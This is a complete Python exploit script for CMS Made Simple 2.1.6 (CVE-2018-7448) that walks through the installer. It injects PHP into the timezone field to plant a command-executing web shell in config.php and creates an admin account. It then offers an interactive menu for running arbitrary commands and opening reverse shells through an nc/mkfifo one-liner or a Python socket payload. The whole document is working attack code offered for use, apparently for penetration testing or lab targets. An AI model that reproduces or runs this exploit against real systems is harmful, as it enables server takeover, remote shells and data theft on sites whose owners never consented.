# Python script for CMS Made Simple 2.1.6 - Remote Code Execution # Based on EDB-ID:44192 # CVE-2018-7448 import requests from bs4 import BeautifulSoup import argparse # proxies = {'http':'http://127.0.0.1:8080'} def checkInstallation(): print("[ + ] Checking if CMSMS is already installed...") alreadyInstalled = False checkUrl = 'http://' + target r = requests.session() if "CMS Made Simple" in r.get(checkUrl).text: print("It seems that CMSMS is already installed!") alreadyInstalled = True return alreadyInstalled print("CMSMS not installed!") return alreadyInstalled def install(target, database, username, password): r = requests.session() firstUrl = 'http://' + target + '/cmsms-2.1.6-install.php/index.php' # First Request dataFirstRequest = { "lang": "en_US", "verbose": 0, "next": "Next+%E2%86%92" } firstRequest = r.post(firstUrl, data=dataFirstRequest) # Getting URL with installation tag soup = BeautifulSoup(firstRequest.text, 'html.parser') form_tag = soup.find('form') # Removing the last character of URL (step index) installationPath = form_tag['action'][:-1] # Parsing target to get only 127.0.0.1 in cases like 127.0.0.1/cmsms targetIP = target[:target.index("/")] customizedUrl = 'http://' + targetIP + installationPath # Second Request dataSecondRequest = { "install": "Install" } r.post(customizedUrl + "2", data=dataSecondRequest) # Sending fourth request dataFourthRequest = { "dbhost": "localhost", "dbname": database, "dbuser": username, "dbpass": password, "timezone": "A';echo system($_GET['cmd']);$junk='junk", "next": "Next+%E2%86%92" } r.post(customizedUrl + "4", data=dataFourthRequest) # Sending fifth request dataFifthRequest = { "username": "b1d0ws", "emailaddr": "random@gmail.com", "password": "bido123", "repeatpw": "bido123", "next": "Next+%E2%86%92" } r.post(customizedUrl + "5", data=dataFifthRequest) # Sending sixth request dataSixthRequest = { "sitename": "b1d0ws", "next": "Next+%E2%86%92" } r.post(customizedUrl + "6", data=dataSixthRequest) # Sending last requests r.get(customizedUrl + "7") r.get(customizedUrl + "8") r.get(customizedUrl + "9") def webshell(target): r = requests.session() webshellUrl = "http://" + target + "/config.php?cmd=" # Use webshell while True: print("") print("======= WEBSHELL MENU =======") print("[ 1 ] - Get a Reverse Shell") print("[ 2 ] - Execute Command") print("[ 3 ] - Exit") print("") action = input("What do you want to do? ") if action == "1": reverseIP = input("\nInsert listener IP: ") reversePort = input("Insert listener port: ") print("\n[ 1 ] - mkfifo") print("[ 2 ] - python3") print("[ 3 ] - Exit\n") reverseShellOption = input("Which reverse shell you want to try? ") if reverseShellOption == "1": reverse = "rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20" + reverseIP + "%20" + reversePort + "%20%3E%2Ftmp%2Ff" webshellRequest = r.get(webshellUrl + reverse) elif reverseShellOption == "2": reverse = "python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%22" + reverseIP + "%22%2C" + reversePort + "%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bimport%20pty%3B%20pty.spawn%28%22bash%22%29%27" webshellRequest = r.get(webshellUrl + reverse) elif reverseShellOption == "3": continue else: print("Invalid option!") elif action == "2": command = input("Enter command: ") webshellRequest = r.get(webshellUrl + command) print(webshellRequest.text) elif action == "3": print("Goodbye!") break else: print("Invalid option") if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("-t", "--target", help = "Target IP") parser.add_argument("-d", "--database", help = "Database") parser.add_argument("-u", "--username", help = "Username of Database") parser.add_argument("-p", "--password", help = "Password of Database") args = parser.parse_args() if not (args.target and args.database and args.username and args.password): parser.error('Missing Argument\n\nExample: python3 exploit.py -t 10.10.10.20/cmsms -d cms -u root -p password') target = args.target database = args.database username = args.username password = args.password if 'http' in target: print("Insery only the IP or domain name as: 10.10.10.20 or 10.10.10.20/cmsms") exit() checkInstall = checkInstallation() firstUrl = 'http://' + target + '/cmsms-2.1.6-install.php/index.php' if not checkInstall: print("\n[ + ] Installing CMSMS with exploit...") install(target, database, username, password) checkInstall = True if checkInstall: webshell(target)